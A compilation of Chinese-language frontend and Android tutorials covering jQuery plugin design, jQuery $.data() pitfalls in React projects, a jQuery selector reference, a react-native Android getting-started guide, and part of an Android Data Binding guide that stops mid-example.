我们也可以在设置中间允许一个回调函数，来覆盖默认的 format 函数， 这也是一个支持定制的非常棒的方法。
使用这些技术，其他人可以非常方便的定制你的插件，然后发布。换句话说，其他人可以为你的插件来写插件。

考虑到这篇文章里这个苍白的例子并不是非常具有说服力，一个现实的例子就是 Cycle Plugin。这个插件是一个幻灯片插件，内置非常多切换特效，像滚动、滑动、淡出等。但是实际上它不可能定义每个人想要的效果，那么插件的扩展性就非常重要了。

Cycle Plugin 对外暴露了一个 transitions 对象。 在这里用户可以自己定义他们的切换特效。

$.fn.cycle.transitions = {
 
    // ...
 
};

保持私有函数私有

对外提供一部分你的插件的公共接口确实很强大，但是你要想清楚哪些部分需要提供给公共接口，哪些不需要。当函数一旦暴露在外，任何对参数和语义（函数的功能）的更改都会摧毁向后兼容性。一般来说，如果你不确定一个方法是否应该设为公有，那么也许答案是不。

所以我们如何在不搞乱命名空间并且保持私有的情况下定义更多的函数呢？这就是闭包的事情了。

为了展示如何解决这个问题，我们在我们的插件里加了一个函数 debug。这个函数在 console 中输出选定的对象。我们将整个插件用一个函数包裹起来（上一篇文章也有提到）。

// Create closure.
(function( $ ) {
 
    // Plugin definition.
    $.fn.hilight = function( options ) {
        debug( this );
        // ...
    };
 
    // Private function for debugging.
    function debug( obj ) {
        if ( window.console && window.console.log ) {
            window.console.log( "hilight selection count: " + obj.length );
        }
    };
 
    // ...
 
// End of closure.
 
})( jQuery );

Bob & Sue（实例）

Bob 已经创建了一个新的画廊插件（叫 "superGallery"）。这个插件使得一系列图片变得可导航的。Bob 同样还添加了一些动画效果使得插件变得更加有趣。他想让他的插件获得最大程度的可定制性，所以他写出了下面的代码：

jQuery.fn.superGallery = function( options ) {
 
    // Bob's default settings:
    var defaults = {
        textColor: "#000",
        backgroundColor: "#fff",
        fontSize: "1em",
        delay: "quite long",
        getTextFromTitle: true,
        getTextFromRel: false,
        getTextFromAlt: false,
        animateWidth: true,
        animateOpacity: true,
        animateHeight: true,
        animationDuration: 500,
        clickImgToGoToNext: true,
        clickImgToGoToLast: false,
        nextButtonText: "next",
        previousButtonText: "previous",
        nextButtonTextColor: "red",
        previousButtonTextColor: "red"
    };
 
    var settings = $.extend( {}, defaults, options );
 
    return this.each(function() {
        // Plugin code would go here...
    });
 
};

你想到的第一件事情可能就是，这个插件该有多大才能实现这么多可定制功能。这个插件的体积可能完全没必要这么大。

Bob 对他的插件非常满意。他觉得他的插件会在不同的情景之下会是一个通用的解决方案。

Sue 决定去用一用这个新插件。她设置了所有的选项，但是她意识到，如果图片的宽度以低速变化的话，会获得更加好的效果。她赶紧去搜索了 Bob 的文档，但是并没有找到 animateWidthDuration 类似的选项。

你看到问题了吗？

问题的关键是并不是你的插件有多少个选项，而是有什么选项。

Bob 做的有点儿过了。他提供的定制性看起来很高，其实非常低。特别是考虑到一个人可能想要在这个插件中控制的所有特性。Bob 犯了个错误，它提供了非常多荒诞的选项，殊不知让他的插件变得更难定制了。

一个更好的模型

所以现在非常明显了，Bob 需要一个新的定制模型。一个并没有放弃必须的控制和抽象细节的定制模型。

这里有一些建议，可以让你更好的创建一个可定制化插件。

不要创建自己的语法

使用你的插件的开发者不应该要去学一门新的语言或新的技术，只要搞定他们的工作。

Bob 他为 delay 这个选项提供了最大的定制性。他设置了4个不同的延迟：

var delayDuration = 0;
 
switch ( settings.delay ) {
 
    case "very short":
        delayDuration = 100;
        break;
 
    case "quite short":
        delayDuration = 200;
        break;
 
    case "quite long":
        delayDuration = 300;
        break;
 
    case "very long":
        delayDuration = 400;
        break;
 
    default:
        delayDuration = 200;
 
}

这导致不仅仅用户所能控制的延迟水平变少了，还花费了比较多的空间。20行代码仅仅就为了定义一个延迟时间，有点儿多了。

一个更加好的方式就是让用户自己传入延迟的时间。

元素的完全控制权

如果你的插件在DOM中创建了一些元素。那么你最好让用户有方法去控制它。有些时候这意味着提供给用户传入ID或者类名的方法。但是注意你的插件不应该全局依赖这些。

一个不好的实现：

// Plugin code
$( "<div class='gallery-wrapper' />" ).appendTo( "body" );

一个好一点儿的实现：

// Retain an internal reference:
var wrapper = $( "<div />" )
    .attr( settings.wrapperAttrs )
    .appendTo( settings.container );
 
// Easy to reference later...
wrapper.append( "..." );

注意我们使用了 .attr() 来增加特定的属性。所以我们的设置应该像这样：

var defaults = {
    wrapperAttrs : {
        class: "gallery-wrapper"
    },
    // ... rest of settings ...
};
 
// We can use the extend method to merge options/settings as usual:
// But with the added first parameter of TRUE to signify a DEEP COPY:
var settings = $.extend( true, {}, defaults, options );

对于CSS 也可以使用同样的方法来实现：

var defaults = {
    wrapperCSS: {},
    // ... rest of settings ...
};
 
// Later on in the plugin where we define the wrapper:
var wrapper = $( "<div />" )
    .attr( settings.wrapperAttrs )
    .css( settings.wrapperCSS ) // ** Set CSS!
    .appendTo( settings.container );

提供回调函数

如果你的插件是事件驱动的话，最好为每个事件提供回调函数。

var defaults = {
 
    // We define an empty anonymous function so that
    // we don't need to check its existence before calling it.
    onImageShow : function() {},
 
    // ... rest of settings ...
 
};
 
// Later on in the plugin:
 
nextButton.on( "click", showNextImage );
 
function showNextImage() {
 
    // Returns reference to the next image node
    var image = getNextImage();
 
    // Stuff to show the image here...
 
    // Here's the callback:
    settings.onImageShow.call( image );
}

记住，这是一个权衡问题

你的插件不可能在所有的情况下都能工作。同样的，当你提供很少的控制的方法的时候，它也有可能没啥用。所以，权衡是非常重要的事情。以下有三点：


	灵活性：你的插件要处理多少种情况？


	大小：你的插件大小和它的功能相匹配吗？


	性能：你的插件无论什么情况都会处理设置选项吗？影响速度吗？值得吗？





 React.js 下的 $.data() "踩坑"实录

作者：愚安

来源： React.js 下的 $.data() "踩坑"实录



                    
引子


最近在做得一个项目，我是基于reactjs来写的。项目不大不小，就带了个童鞋一起写，为了不让react写起来那么吃力，我还是引入了jquery (1.11.1)。就这样整个项目开展的还算顺利，期间踩到了一些坑，但都是react的，直到...


一切都源于这样的一个写法


_edit:(e)->
    $ele = $(e.currentTarget).parents('td')
    _name = $ele.data('name')
    _filterArr = @props.items.filter (item)->
        item.activityName is _name
    if _filterArr.length
        @props.onEditCallBack(_filterArr[0]) if @props.onEditCallBack
    e.preventDefault()
    return



很简单地一段coffee,获取绑在td上的data-name,然后在items里找到name为_name的item，执行callback


可发布到线上之后，出了问题，有得item就是无法编辑，线上代码又uglify过，不好调试，这位童鞋看了半天代码也没有发现什么问题。愚安我这时候在睡午觉，迷糊中被他叫醒。


点了下页面发现，页面上一个data-name="111"的item无法删除，看了下代码之后，拽拽的对他说：“不要乱用jquery的data，这里有缓存，大小写，类型转换三大坑，看源码去！”。然后将原来的data改为getAttribute之后，果然跑通了。为什么跑通，且看下文。事后，我也不知道当时为什么突然来了这句三大坑。既然说了，那总要跟别人讲下三个坑吧，不能打脸，不能不讲道理是吧。


先说data属性


贴一段MDN上关于data属性的介绍,链接



  HTML5是具有扩展性的设计，它初衷是数据应与特定的元素相关联，但不需要任何定义。data-* 属性允许我们在标准内于HTML元素中存储额外的信息，而不许需要使用类似于 classList，标准外属性，DOM额外属性或是 setUserData之类的伎俩。




一股浓浓的谷歌翻译味儿，英语好的童鞋还是去看原文，或者帮忙去翻译下，就在愚安我写这篇博客的时候，顺便提交了下翻译，连我这种大学英语考试总共有几级都不知道的人都敢翻译，何况你呢。



  在外部使用JavaScript去访问这些属性的值同样非常简单。你可以使用getAttribute()配合它们完整的HTML名称去读取它们，但标准定义了一个更简单的方法：DOMStringMap你可以使用dataset读取到数据。




文档里写到无论是通过getAttribute()还是dataset都可以轻松访问节点上得data-*属性的值，但二者是有区别的。


getAttribute()与dataset的区别


这里补充一点儿关于DOM的小知识，直接访问节点属性和通过getAttribute访问节点属性返回的结果不一定是一样的，但getAttribute和attributes['索引']访问节点属性的结果一定是不同的(即使都访问都不存在的属性，前者返回null，后者返回undefined)，举个例子


<div name="div" id="test"></div>



var div = document.getElementById('test');
div.name 
//undefined
div.id 
//"test"
div.getAttribute("name") 
//"div"
div.attributes['name'] 
//name="div"
Object.prototype.toString.call(div.attributes['name'])
//"[object Attr]"



事实上，对于DOM节点而言，id与attributes是同样等级的属性。DOM不熟的同学，可以去看看这方面的资料，这里我就不跑题了。


继续看区别。


Object.prototype.toString.call(div.dataset)
//"[object DOMStringMap]"
Object.prototype.toString.call(div.attributes)
//"[object NamedNodeMap]"



很显然，二者是不同类型的map。


div['data-a'] = 1
//1
div.getAttribute('data-a')
//null
div.attributes["data-a"]
//undefined
div.dataset["a"]
//undefined
//--------------------
div.setAttribute("data-foo", "bar")
//undefined
div.getAttribute("data-foo")
"bar"
div.attributes["data-foo"]
//data-foo="bar"
div.dataset["foo"]
//"bar"
//--------------------
div.dataset['foo2'] = "123"
//"123"
div.getAttribute("data-foo2")
//"123"
div.attributes["data-foo2"]
//data-foo2="123"
div['data-foo2']
//undefined



通过以上三种方式，大家应该大致知道节点字段，节点属性，节点dataset之间的小关系与区别

再来贴一段文档



  为了使用dataset对象去获取到数据属性，需要获取属性名中data-之后的部分(要注意的是破折号连接的名称需要转换为驼峰样式的名称)。




测试


div.setAttribute('data-foo-bar',123)
//undefined
div.dataset["fooBar"]
//"123",仍为字符型
div.dataset['bar-foo'] = 123
//Uncaught DOMException: Failed to set the 'bar-foo' property on 'DOMStringMap': 'bar-foo' is not a valid property name.
div.dataset["barFoo"] = 123
//123
div.getAttribute('data-bar-foo')
//"123"
div.dataset["barFoo"]
//"123"，仍为字符型



可见这里确实存在喜闻乐见的camelCase转换。


再说jquery.data的"坑"


开始翻jquery-1.11.1的源码中得data函数。

注：jquery2放弃了对一些对低版本浏览器的支持，“坑”不全，我们还是看1.X的。


jQuery.extend({
    cache: {},
    //当设置下面这三种元素的expando属性时会抛出异常
    //具体方法参见jquery的src/data/accepts下的jQuery.acceptData方法
    noData: {
        "applet ": true,
        "embed ": true,
        // ...但是 Flash对象 (拥有classid)可以处理expando
        "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
    },

    hasData: function( elem ) {
        elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ];
        return !!elem && !isEmptyDataObject( elem );
    },

    data: function( elem, name, data ) {
        return internalData( elem, name, data );
    },

    removeData: function( elem, name ) {
        return internalRemoveData( elem, name );
    },

    // For internal use only.
    _data: function( elem, name, data ) {
        return internalData( elem, name, data, true );
    },

    _removeData: function( elem, name ) {
        return internalRemoveData( elem, name, true );
    }
});



这个就是jquery.data的大致结构，比较清晰。接下来，我们来聊聊前面说的三大坑。


类型转换坑


首先回到最开始的事故代码里，熟悉coffee的童鞋都知道，is关键字，在编译到javascript时，会变成===号（强等于），而存储在item里的name时字符型，通过$("selector").data()函数获取文档节点的data-*属性上的值时，调用得是jquery.fn.data方法，这里就不贴完整代码了，贴下造成这个类型转换的部分dataAttr()。


if ( data === undefined && elem.nodeType === 1 ) {

    var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();

    data = elem.getAttribute( name );

    if ( typeof data === "string" ) {
        try {
                //布尔型转换
            data = data === "true" ? true :
                data === "false" ? false :
                //null型转换
                data === "null" ? null :
                // 仅当将其转换成数字时，其字符值相对原字符值不变时，进行number型转换
                +data + "" === data ? +data :
                //json字符串到object的转换,rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/
                rbrace.test( data ) ? jQuery.parseJSON( data ) :
                data;
            } catch( e ) {}

            // Make sure we set the data so it isn't changed later
            jQuery.data( elem, key, data );

        } else {
            data = undefined;
        }
    }



通过我注释的部分可以很容易看出,jquery在调用jquery.data()前，会对传入的data值进行类型转换，其中转换为number的部分就是造成引子中提到到bug的原因。当然，jQuery这里完全是为了方便大家使用，我这里说采坑，纯属强行甩锅给jquery。


当然，我们上面测试过原生的javascript通过dataset或者getAttribute都不会做这种类型转换。

举个栗子


$(div).data("foo-bar")
//123,number型
$(div).data("fooBar")
//123
div.dataset["fooBar"]
//"123",字符型



大小写转换坑


在上面代码中，我们注意到这么一段


//rmultiDash = /([A-Z])/g;
var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();
    data = elem.getAttribute( name );



这里现将key中所有的大写字母前加“-”，然后统一转换为小写。

再举个栗子


var div = document.createElement('div'),
    key = "ID",
    id = 123;
div.setAttribute("data-"+key, id);
$(div).data(key);
//undefined



当然前面也已经讲过，即使使用dataset这种结果。把这个“坑”，算在jquery的头上实在是不讲道理。不过这里，也是给像我这样比较粗心的前端童鞋，提个醒，直接写在html里的data-*中记得要用小写，避免不必要的bug。


缓存坑


在jquery.data中核心的internalData函数里，进行了主要的cache读写操作。我们调用$(selector).data(key,value)的时候，进行的流程大致如下



	key,value格式化处理

	检查elem是否有elem[internalKey],若有则作为cache中对应得id，若无则做如下处理



id = elem[ internalKey ] = deletedIds.pop() || jQuery.guid++;
//deletedIds默认为[]记录被铲除的id的数组
//guid是默认为1的计数器
//这样可以保证被删除的元素的id能够被放到deletedIds再利用，而不是无线递增guid造成枯竭




	拿到id之后，检查jQuery.cache[id]是否存在，若不存在则jQuery.cache[id] = {}

	将key为传入key的camelCase形式，value为做相应处理的value的键值对放入jQuery.cache[id]中

	返回jQuery.cache[id]




  注：internalKey = jQuery.expando = "jQuery" + ( jQuery.fn.jquery + Math.random() ).replace( /\D/g, "" )




同理，调用$(selector).data(key)时，也是现做key处理，id处理，去jQuery.cache[id]这个Object中拿到对应key的value，或返回undefined。


由于jquery这种cache机制，导致如果一个DOM节点上存在internalKey,且其刚好对应一个可以命中的cacheID，则无法通过jQuery.data()方法拿到data-*对应的值，而是cache对应的值。


这种情形最容易在类似reactjs这种virtual-DOM在对一组元素做部分删除操作时出现。因为virtual-DOM是做增量更新，删除的virtual-DOM并不一定是将我们主观视觉上看到的那个DOM节点，而是将相邻DOM节点进行增量更新，此时虽然data-*属性仍是原来的值，但整个DOM却是那个本来已经被删除的元素，所以如果那个被删除的DOM元素曾经调用过data方法，保留了iternalKey的话，那么恭喜你，你碰到我说的缓存坑了。


当然上面这种情况，也很容易通过getAttribute("data-*")处理解决掉，不是上面大问题，无须担心。


后记


这篇blog写在愚安我离职的第二天，在星巴克坐了一下午，无聊写的，延续了我以往写东西狂贴代码凑字数的原则。可以作为jQuery.data()的一个小解读，也可以算是对我前段时间项目中遇到的一些小问题的记录。感谢大家阅读，如有错误，欢迎指出。





  作者博客原文地址




参考资料：



	
https://developer.mozilla.org/zh-CN/docs/Web/Guide/HTML/Using_data_att...


	
https://github.com/jquery/jquery/blob/1.11-stable/src/data.js


	
http://blog.rx836.tw/blog/jquery-data-cache/





 jquery选择器总结

作者：风雨后见彩虹

来源： jquery选择器总结



                    
jQuery 的选择器可谓之强大无比，常用的元素查找方法

$("#myELement")    选择id值等于myElement的元素，id值不能重复在文档中只能有一个id值是myElement所以得到的是唯一的元素
$("div")           选择所有的div标签元素，返回div元素数组
$(".myClass")      选择使用myClass类的css的所有元素
$("*")             选择文档中的所有的元素，可以运用多种的选择方式进行联合选择：例如$("#myELement,div,.myclass")

层叠选择器：

$("form input")         选择所有的form元素中的input元素
$("#main > *")          选择id值为main的所有的子元素
$("label + input")     选择所有的label元素的下一个input元素节点，经测试选择器返回的是label标签后面直接跟一个input标签的所有input标签元素
$("#prev ~ div")       同胞选择器，该选择器返回的为id为prev的标签元素的所有的属于同一个父元素的div标签

基本过滤选择器：

$("tr:first")               选择所有tr元素的第一个
$("tr:last")                选择所有tr元素的最后一个

$("input:not(:checked) + span") //过滤掉：checked的选择器的所有的input元素


$("tr:even")               选择所有的tr元素的第0，2，4... ...个元素（注意：因为所选择的多个元素时为数组，所以序号是从0开始）
$("tr:odd")                选择所有的tr元素的第1，3，5... ...个元素
$("td:eq(2)")             选择所有的td元素中序号为2的那个td元素
$("td:gt(4)")             选择td元素中序号大于4的所有td元素
$("td:ll(4)")              选择td元素中序号小于4的所有的td元素

$(":header")

$("div:animated")


内容过滤选择器：

$("div:contains('John')") 选择所有div中含有John文本的元素
$("td:empty")           选择所有的为空（也不包括文本节点）的td元素的数组
$("div:has(p)")        选择所有含有p标签的div元素
$("td:parent")          选择所有的以td为父节点的元素数组

可视化过滤选择器：

$("div:hidden")        选择所有的被hidden的div元素
$("div:visible")        选择所有的可视化的div元素

属性过滤选择器：

$("div[id]")              选择所有含有id属性的div元素
$("input[name='newsletter']")    选择所有的name属性等于'newsletter'的input元素
$("input[name!='newsletter']") 选择所有的name属性不等于'newsletter'的input元素
$("input[name^='news']")         选择所有的name属性以'news'开头的input元素
$("input[name$='news']")         选择所有的name属性以'news'结尾的input元素
$("input[name*='news']")          选择所有的name属性包含'news'的input元素
$("input[id][name$='news']")    可以使用多个属性进行联合选择，该选择器是得到所有的含有id属性并且那么属性以news结尾的元素

子元素过滤选择器：

$("ul li:nth-child(2)"),$("ul li:nth-child(odd)"),$("ul li:nth-child(3n + 1)")
$("div span:first-child")          返回所有的div元素的第一个子节点的数组
$("div span:last-child")           返回所有的div元素的最后一个节点的数组
$("div button:only-child")       返回所有的div中只有唯一一个子节点的所有子节点的数组

表单元素选择器：

$(":input")                  选择所有的表单输入元素，包括input, textarea, select 和 button
$(":text")                     选择所有的text input元素
$(":password")           选择所有的password input元素
$(":radio")                   选择所有的radio input元素
$(":checkbox")            选择所有的checkbox input元素
$(":submit")               选择所有的submit input元素
$(":image")                 选择所有的image input元素
$(":reset")                   选择所有的reset input元素
$(":button")                选择所有的button input元素
$(":file")                     选择所有的file input元素
$(":hidden")               选择所有类型为hidden的input元素或表单的隐藏域

表单元素过滤选择器：

$(":enabled")             选择所有的可操作的表单元素
$(":disabled")            选择所有的不可操作的表单元素
$(":checked")            选择所有的被checked的表单元素
$("select option:selected") 选择所有的select 的子元素中被selected的元素

例：
$("A B") 查找A元素下面的所有子节点，包括非直接子节点
$("A>B") 查找A元素下面的直接子节点
$("A+B") 查找A元素后面的兄弟节点，包括非直接子节点
$("A~B") 查找A元素后面的兄弟节点，不包括非直接子节点

例子1：找到表单中所有的 input 元素

HTML 代码:

<form>
<label>Name:</label>
<input name="name" />
<fieldset>
      <label>Newsletter:</label>
      <input name="newsletter" />
</fieldset>
</form>
<input name="none" />


jQuery 代码:

$("form input")


结果:

[ <input name="name" />, <input name="newsletter" /> ]


例子2：匹配表单中所有的子级input元素。

HTML 代码:

<form>
<label>Name:</label>
<input name="name" />
<fieldset>
      <label>Newsletter:</label>
      <input name="newsletter" />
</fieldset>
</form>
<input name="none" />


jQuery 代码:

 
$("form > input")


结果:

[ <input name="name" /> ]


例子3：匹配所有跟在 label 后面的 input 元素

HTML 代码:

<form>
<label>Name:</label>
<input name="name" />
<fieldset>
      <label>Newsletter:</label>
      <input name="newsletter" />
</fieldset>
</form>
<input name="none" />


jQuery 代码:

$("label + input")


结果:

[ <input name="name" />, <input name="newsletter" /> ]


例子4：找到所有与表单同辈的 input 元素

HTML 代码:

<form>
<label>Name:</label>
<input name="name" />
<fieldset>
      <label>Newsletter:</label>
      <input name="newsletter" />
</fieldset>
</form>
<input name="none" />


jQuery 代码:

$("form ~ input")


结果:

[ <input name="none" /> ]


2015 优秀文章 - Android


 零基础用react-native开发android app

作者：caige

来源： 零基础用react-native开发android app



                    
序

基于雨点儿网，分享react-native开发android app的方法。
这篇博客旨在帮没有任何android或者ios开发经验的开发者体验一把当下热门的react-native。由于我之前也没有native app的开发经验，所以这篇文章中引用了很多我学习过程中碰到的简短有用的资料，方便大家少走些弯路。


我的开源项目托管在github。项目相关的具体内容，可参考下篇《react-native项目结构介绍》。本文只讨论react-native基本的概念及开发流程。

react-native介绍

直接去官网看,不用挂vpn。总而言之，这货就是用写web的方式去写原生应用。布局用css，代码用react的框架。而且不是hybrid app，所以体验很流畅。
关于更多react 及react-native的知识。可以参考汇总知识以及知乎大牛。

总而言之，如果要给app分类的话：


	webapp：移动端的web页面，纯浏览器应用。


	native-app：Java或者oc、swift开发的app，用的本地的组件以及布局。


	hybrid-app：介于以上两者之间。即有原生的组件，又封装了webview在里面以便渲染web组件。而这方面有很多框架，典型的如ionic。




而对于react-native，准确的说，应该是属于native app，因为他的渲染完全是本地方式，不靠webview。但是写代码的方式又是web前端。如何做到的呢？参考react原理。

上手react-native

QUICK START

如果没有接触过RN(react-native)，强烈建议第一件事是去花几十分钟把QUICK START做一遍，遇到不懂的直接照做，不用纠结原因，全当是搭环境。

对于RN android的环境搭建步骤主要有：


	react-native部分：主要是npm安装react-native-cli工具。这个可以创建工程，运行工程，打包工程等。按照官网教程一步一步来就行了。


	android部分：主要是android SDK，模拟器（推荐Genymotion，方便。）


	运行: 主要原理是，react-native run-android这条命令会编译并打包一个用来debug的apk，并安装到模拟器或者手机。但是debug版本的apk并不是独立的apk，每次运行需要从pc上加载你所写的js代码，所以pc上同时自动运行了一个server。之所以这样做是为了方便调试。每次你改完代码后，watchman会检查到改动。同时模拟器或者真机上的debug版程序会有调试功能，你可以在模拟器中重新加js载脚本，改动就被拉到了移动端。  至于怎么发布独立apk参考下文。




react开发理念

相信做完上面的quick start，你应该已经会自己创建一个RN工程，在模拟器上跑起来了。 如果依旧对react本身的一些概念（如JSX，组件，state）不太了解，可以看下阮一峰的博客。

react-native工程

工程结构

react-native init命令可以创建一个RN的工程，初次创建出来结构是这个样子的。




	node_modules和package.json。这个就不必多说了，RN工程也是使用npm去管理依赖的。默认的依赖只有react-native一个包，就是RN自己的代码。


	android这个目录。这是一个标准的android工程，Facebook并没有施加什么魔法，去改造android工程。最终代码写完后要发布也只需这个android工程就行了。  ios目录也是一样的， 是个Xcode工程。
那么RN的代码怎么生效的呢？实际上在根目录下执行react-native run-android后，android工程中gradle的依赖关系会去先编译node_modules下RN的代码，并加入自己的工程中。这也就是第一次跑的时候构建比较慢并且需要装NDK的原因。


	index.android.js和index.ios.js这就是RN工程的主入口，你可以按照自己的组织方式，写很多react的组件组合成自己的app。最终所有的代码会根据这个入口文件加载成一个单一的js文件index.android.bundle加入到android工程中。android的工程有js解释器去执行你的代码。这样一个独立的app就诞生了。




二次开发

当然不是每个工程都需要自己重头去创建空工程然后一步步加各种依赖，创建每个文件。我们很多时候是想用别人的一个开源项目做二次开发。那么如何导出自己的源码给别人用，以及怎么用别人的模板程序做二次开发？

上文介绍了android目录的结构，那么我们发布我们的源码时，实际只要这些依赖关系就行了。android只要工程依赖，不要编译过后的东西。RN本身也只要package.json就行了。这样几百M 的工程只要几M别人就可以使用了。这些不需要拷贝的东西可以参考我的ignore文件。

其实这样导出的工程跟react-native init创建的是一样的。只是少了node_modules，同时多了一些android工程的gradle依赖或者js源码。因此使用的时候要先用npm install 安装RN部分的依赖。然后直接react-native run-android就会编译android部分的依赖并在模拟器上跑起来了。

如何装RN的插件

从上文可以看出，RN实际有两套构建系统。


	npm用来管理RN的插件。


	android或者ios自己的构建系统。




所以装插件比较麻烦。以react-native-icons这个插件举例。除了npm install之外，还需要改gradle文件，并通过改java代码去加载包。明白了原因就行了，麻烦就麻烦点，好在比较好的插件文档都比较详细。

react-native打包

原理

我们的debug程序中，js代码是调试时，不断从server加载到移动端的。但是发布成独立apk时，总不能让app启动的时候远程加载js代码吧。RN的做法是将所有js打成一个bundle文件，作为android的资源，放在assets目录下面。而assets下的文件是会在安装时，随工程一并安装到移动端本地的。这样apk安装好后，RN会负责去加载。

步骤


	
将js代码导成资源
目前android版本需要手动去做。参考issues。相信Facebook后面的版本会马上会发布自动导资源的命令。实际现在也挺简单：当react-native的server启动后。把http://localhost:8081/index.android.bundle?platform=android这个地址的js拷出来即可。


	cd to the project directory


	Start the react-native packager if not started


	Download the bundle to the asset folder: 
curl "http://localhost:8081/index.android.bundle?platform=android" -o "android/app/src/main/assets/index.android.bundle"






	生成签名apk
 参考官网教程。这里不用android studio，纯命令行就可以，官网教程很详细。最后生成的apk在android/app/build/outputs下面。


	嫌麻烦可以把以上步骤放在一个shell脚本中。




示例


	apk下载


	github




尾

如有什么疑问，可以直接在SF或者github的issue提问。
关于RN项目的代码组织，以及raindrop-app开发中遇到的具体问题，可参考下篇《react-native项目结构介绍》
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1. 介绍

这篇文章介绍了如何使用Data Binding库来写声明的layouts文件，并且用最少的代码来绑定你的app逻辑和layouts文件。

Data Binding库不仅灵活而且广泛兼容- 它是一个support库，因此你可以在所有的Android平台最低能到Android 2.1（API等级7+）上使用它。

需要：Android Studio 1.3.0-beta1 或更高版本。

测试版本

请注意：Data Binding库当前是测试版本。在Data Binding处于测试阶段时，开发者应该了解以下注意事项：


	这是旨在生成开发者的反馈功能的测试版本。它可能包含bugs，或者不适合你的使用案例，所以需要您在使用它时自担风险。即便如此，我们非常希望得到您的反馈！使用issue tracker来让我们知道对于你的使用案例什么可以工作或者不能工作。


	Data Binding库的测试版本倾向于显著的改变，包括那些不是与您的应用程序兼容的源代码。即，在未来可能会进行大量的返工来更新此库。


	虽然伴有标准Android SDK和Google Play服务条款适用警告，开发人员可以随时发布内置了与Data Binding库beta版本的应用程序。而且采用新的库或工具是一个相当好的主意来彻底测试你的应用程序。


	我们在这个时候才刚刚开始与Android Studio的支持。未来会有进一步的Android Studio的支持。


	通过使用Data Binding库beta版本，你承认这些警告。




2. 构建环境

要开始使用Data Binding，首先需要在Android SDK Manager的支持库里下载该库。

请确保您使用的是 Android Studio 的兼容版本。Android Studio的Data Binding 插件需要 Android Studio 1.3.0-beta1 或更高版本。

以下请参照最新版 - Data Binding（数据绑定）用户指南

~###工作环境~
~你的app要使用Data Binding，需要添加Data Binding到gradle构建文件里，如下：~

   dependencies {
       classpath "com.android.tools.build:gradle:1.2.3"
       classpath "com.android.databinding:dataBinder:1.0-rc0"
   }
}

~然后确保jcenter在repositories列表里，如下：~

allprojects {
   repositories {
       jcenter()
   }
}

在每一个你想要使用Data Binding的module，添加如下的插件：

apply plugin: ‘com.android.application'
apply plugin: 'com.android.databinding'

Data Binding插件将会在你的项目内添加必需提供的以及编译配置依赖。

3. Data Binding Layout 文件

Data Binding表达式

Data Binding layout文件有点不同的是：起始根标签是 layout，接下来一个 data 元素以及一个 view 的根元素。这个 view 元素就是你没有使用Data Binding的layout文件的根元素。举例说明如下：

<?xml version="1.0" encoding="utf-8"?>
<layout xmlns:android="http://schemas.android.com/apk/res/android">
   <data>
       <variable name="user" type="com.example.User"/>
   </data>
   <LinearLayout
       android:orientation="vertical"
       android:layout_width="match_parent"
       android:layout_height="match_parent">
       <TextView android:layout_width="wrap_content"
           android:layout_height="wrap_content"
           android:text="@{user.firstName}"/>
       <TextView android:layout_width="wrap_content"
           android:layout_height="wrap_content"
           android:text="@{user.lastName}"/>
   </LinearLayout>
</layout>

在 data 内描述了一个名为user的变量属性，使其可以在这个layout中使用：

<variable name="user" type="com.example.User"/>

在layout的属性表达式写作@{}，下面是一个TextView的text设置为user的firstName属性：

<TextView android:layout_width="wrap_content"
          android:layout_height="wrap_content"
          android:text="@{user.firstName}"/>

Data对象

假设你有一个user的plain-old Java Object（POJO）：

public class User {
   public final String firstName;
   public final String lastName;
   public User(String firstName, String lastName) {
       this.firstName = firstName;
       this.lastName = lastName;
   }
}

这个类型的对象拥有从不改变的数据。在app中它是常见的，可以读取一次并且之后从不改变。当然也可以使用JavaBeans对象：

public class User {
   private final String firstName;
   private final String lastName;
   public User(String firstName, String lastName) {
       this.firstName = firstName;
       this.lastName = lastName;
   }
   public String getFirstName() {
       return this.firstName;
   }
   public String getLastName() {
       return this.lastName;
   }
}

从Data Binding的角度来看，这两个类是等价的。用于TextView中的android:text属性的表达式@{user.firstName}将访问前者POJO对象中的firstName和后者JavaBeans对象中的getFirstName()方法。

Binding数据

默认情况下，一个Binding类会基于layout文件的名称而产生，将其转换为Pascal case（译注：首字母大写的命名规范）并且添加“Binding”后缀。上述的layout文件是activity_main.xml，因此生成的类名是ActivityMainBinding。此类包含从layout属性到layout的Views中所有的bindings（例如user变量），并且它还知道如何给Binding表达式分配数值。创建bindings的最简单的方式是在inflating（译注：layout文件与Activity/Fragment的“链接”）期间如下：

@Override
protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
   ActivityMainBinding binding = DataBindingUtil.setContentView(this, R.layout.main_activity);
   User user = new User("Test", "User");
   binding.setUser(user);
}

就是这样，运行app后，你将会看到Test User。或者你可以通过如下获取View：

MainActivityBinding binding = MainActivityBinding.inflate(getLayoutInflater());

如果你在ListView或者RecyclerView adapter使用Data Binding时，你可能会使用：

ListItemBinding binding = ListItemBinding.inflate(layoutInflater, viewGroup,
false);
//or
ListItemBinding binding = DataBindingUtil.inflate(layoutInflater, R.layout.list_item, viewGroup, false);

4. 深入 Layout 文件

Import

零个或多个import元素可能在data元素中使用。这些只用在你的layout文件中添加引用，就像在Java中：

<data>
    <import type="android.view.View"/>
</data>

现在，View可以使用你的Binding表达式：

<TextView
   android:text="@{user.lastName}"
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"
   android:visibility="@{user.isAdult ? View.VISIBLE : View.GONE}"/>

当类名有冲突时，其中一个类名可以重命名为alias:：

<import type="android.view.View"/>
<import type="com.example.real.estate.View"
        alias="Vista"/>

这样，在该layout文件中Vista对应com.example.real.estate.View，而View对应android.view.View。导入的类型可以在Variable和表达式中使用作为引用来使用：

<data>
    <import type="com.example.User"/>
    <import type="java.util.List"/>
    <variable name="user" type="User"/>
    <variable name="userList" type="List<User>"/>
 </data>

注意：Android Studio还没有处理imports，所以自动导入Variable在你的IDE不能使用。您的app仍会正常编译，你可以在您的Variable定义中使用完全符合规定的名称来解决该IDE问题。



<TextView
   android:text="@{((User)(user.connection)).lastName}"
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"/>

导入的类型还可以在表达式中使用static属性和方法：

<data>
    <import type="com.example.MyStringUtils"/>
    <variable name="user" type="com.example.User"/>
</data>
…
<TextView
   android:text="@{MyStringUtils.capitalize(user.lastName)}"
